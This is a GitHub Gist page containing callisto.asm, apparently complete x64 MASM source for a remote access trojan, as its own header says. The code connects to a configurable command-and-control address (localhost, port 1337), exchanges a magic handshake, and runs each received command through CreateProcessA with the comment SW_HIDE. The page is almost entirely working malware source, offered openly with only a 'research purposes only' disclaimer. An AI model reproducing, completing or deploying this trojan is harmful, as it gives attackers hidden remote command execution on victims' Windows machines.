Created
November 23, 2020 23:01
-
-
Save joshfinley/7783032eb1d369f97d068c5347fda626 to your computer and use it in GitHub Desktop.
callisto.asm
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; <callisto.asm> - Callisto source | |
; Copyright (c) 2020 by Josh Finley. | |
; | |
; This file demonstrates a MASM-64 remote acess trojan. | |
; | |
; The author assumes no responsibility for any damage caused by this | |
; program, incidental or otherwise. This program is intended for | |
; research purposes only. | |
; | |
; References: | |
; [1] https://github.com/dev-frog/C-Reverse-Shell | |
; [2] https://stackoverflow.com/questions/12939534/whats-a-win32-api-equivalent-of-the-stdlib-system-function | |
; [3] https://www.japheth.de/JWasm/Manual.html | |
option win64:3 ; init shadow space, reserve stack at PROC level | |
INCLUDE .\kernel32.inc | |
INCLUDE .\winsock.inc | |
INCLUDE .\callisto.inc | |
_DATA$00 SEGMENT PAGE 'DATA' | |
wDefaultPort WORD 1337 | |
dwSocket DWORD 0 | |
lpcstrCommandIP DB "127.0.0.1", 0 | |
lpcstrComspec DB "COMSPEC", 0 | |
lpcstrComspecPath DB MAX_PATH dup(0), 0 | |
hConsole QWORD 0 | |
; C2 Protocol Buffers | |
dwMagicHello DWORD MAGIC_HELLO, 0 | |
dwCommandHello DD 1 dup(0) | |
dwCommandCodeBuffer BYTE 0 | |
CommandBuffer DB 1024 dup(0) | |
dwCommandBufferSize DWORD SIZEOF CommandBuffer | |
dwWritten DWORD 0 | |
; Winsock structures | |
wsa_data WSADATA <> | |
sock_addr SOCKADDR <> | |
sock_addr_in SOCKADDR_IN <> | |
addr_info ADDRINFO <0> | |
addr_info_res ADDRINFO <0> | |
_DATA$00 ENDS | |
_TEXT$00 SEGMENT ALIGN(10h) 'CODE' | |
Main PROC | |
; Initialize WinSock | |
mov cx, 514 ; MAKEWORD(2,2) | |
lea rdx, wsa_data ; Address of WSADATA struct | |
push rdx ; Load param2 | |
push rcx ; Load param1 | |
call WSAStartup ; Initialize Winsock | |
test rax, rax ; Check if succesful | |
jnz _winsock_failure ; Exit if not | |
; Create a socket | |
mov rcx, AF_INET | |
mov rdx, SOCK_STREAM | |
mov r8, IPPROTO_TCP | |
call socket ; __FASTCALL socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) | |
cmp rax, -1 ; Check if socket == INVALID_SOCKET | |
je _winsock_failure ; Exit if so | |
mov dwSocket, eax | |
; Setup sockaddr_in | |
lea rcx, lpcstrCommandIP ; Load up the command and control IP address | |
call inet_addr ; Get its proper sin_addr order | |
mov ebx, -1 ; Ensure inet_addr was successful | |
test rax, rbx | |
je _winsock_failure | |
mov sock_addr_in.sin_addr, eax ; Set the inet address in the sockaddr | |
mov cx, wDefaultPort ; Load the default port to pass to htons | |
call htons ; Convert the port to the proper format | |
mov sock_addr_in.sin_family, AF_INET | |
mov sock_addr_in.sin_port, ax ; Set the sockaddr_in port | |
; Connect to target | |
mov ecx, dwSocket ; Move socket handle into param1 | |
lea rdx, sock_addr_in ; Load SOCKADDR struct pointer into param2 | |
mov r8, SIZEOF sock_addr_in | |
call connect | |
cmp eax, SOCKET_ERROR | |
je _winsock_failure | |
; Send implant hello | |
mov ecx, dwSocket | |
lea rdx, dwMagicHello | |
mov r8, SIZEOF dwMagicHello | |
xor r9, r9 | |
call send | |
; Receive server hello and validate | |
mov ecx, dwSocket | |
lea rdx, dwCommandHello | |
mov r8, SIZEOF dwMagicHello | |
xor r9, r9 | |
call recv ; Receive server hello | |
cmp rax, SOCKET_ERROR ; Ensure data was received | |
je _winsock_failure ; Exit if not | |
mov ebx, dwMagicHello | |
cmp ebx, dwCommandHello ; Check for the magic value in the receive buf | |
jne _winsock_failure ; If not present, something went wrong | |
; Successfully connected to C2. Await commands | |
xor rbx, rbx ; Clear our while condition | |
_command_loop: | |
xor rax, rax | |
lea rax, dwCommandCodeBuffer | |
mov [rax], BYTE PTR CMD_READY | |
invoke send, dwSocket, ADDR dwCommandCodeBuffer, SIZEOF BYTE, 0 | |
invoke recv, dwSocket, ADDR CommandBuffer, dwCommandBufferSize, 0 | |
cmp eax, INVALID_SOCKET | |
je _winsock_failure | |
test rax, rax | |
jz _wsa_exit | |
lea rbx, CommandBuffer ; Load address of command buffer | |
mov eax, dword ptr [rbx] ; Get command value from command buffer | |
cmp eax, CMD_END ; Check if C2 is sending end command | |
je _wsa_exit ; Exit as instructed | |
lea rcx, CommandBuffer | |
and rsp, not 8 ; Align the stack | |
call SystemExec | |
lea rcx, qword ptr CommandBuffer | |
mov rdx, 0 | |
mov r8d, dwCommandBufferSize | |
call memset | |
jne _command_loop | |
_winsock_failure: | |
mov ecx, dwSocket | |
test ecx, ecx | |
jnz _wsa_exit | |
call closesocket | |
_wsa_exit: | |
call WSACleanup | |
call WSAGetLastError | |
jmp _prolog | |
_failure: | |
xor rax, rax | |
push rax ; Align the stack | |
call GetLastError | |
_prolog: | |
ret ; | |
Main ENDP | |
;----------------------------------------------------------------------------- | |
; Function Definitions | |
;----------------------------------------------------------------------------- | |
; fastcall BOOL SystemExec(LPCSTR lpCommandString); | |
SystemExec PROC | |
LOCAL sinfo: STARTUPINFOA | |
LOCAL pinfo: PROCESS_INFORMATION | |
LOCAL bStatus: DWORD | |
LOCAL lpCommandBuffer: QWORD | |
; Get the path of the command line interpreter | |
mov lpCommandBuffer, rcx | |
lea rcx, lpcstrComspec ; Load the target env var name | |
lea rdx, lpcstrComspecPath ; Load the path buffer for the env var | |
mov r8, MAX_PATH ; Buffer size is MAX_PATH + 1 | |
call GetEnvironmentVariableA ; Set the buffer to the command interpreter path | |
test rax, rax ; Check that the function succeeded | |
jnz _system_exec_env_check ; Continue to next check | |
lea rcx, _system_exec_prolog ; Set return destination after failure | |
call function_failure | |
_system_exec_env_check: | |
cmp rax, MAX_PATH ; Ensure a valid amount of bytes were written | |
jl _system_exec_createp ; | |
call function_failure ; | |
_system_exec_createp: | |
mov sinfo.cbSize, SIZEOF STARTUPINFOA ; Set startupinfo flags | |
mov sinfo.dwFlags, STARTF_SWIND ; STARTF_USESHOWWINDOW | |
mov sinfo.wShowWindow, 1 ; SW_HIDE | |
and rsp, not 8 ; Align stack | |
invoke CreateProcessA, 0, lpCommandBuffer, 0, 0, 0, 0, 0, 0, ADDR sinfo, ADDR pinfo | |
mov bStatus, eax | |
_system_exec_prolog: | |
invoke CloseHandle, pinfo.hThread | |
invoke CloseHandle, pinfo.hProcess | |
xor rax, rax | |
mov eax, bStatus | |
ret | |
SystemExec ENDP | |
; fastcall _function_failure(qword pJmp); | |
function_failure: | |
xor rax, rax | |
push rax ; Align the stack | |
call GetLastError | |
jmp rcx | |
; fastcall int memset(PVOID dest, int val, dword nBytes); | |
memset PROC | |
xor rax, rax | |
_memset_loop: | |
cmp eax, r8d | |
jg _memset_prolog | |
mov [rcx + rax], edx | |
inc eax | |
jmp _memset_loop | |
_memset_prolog: | |
ret | |
memset ENDP | |
_TEXT$00 ENDS | |
END |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment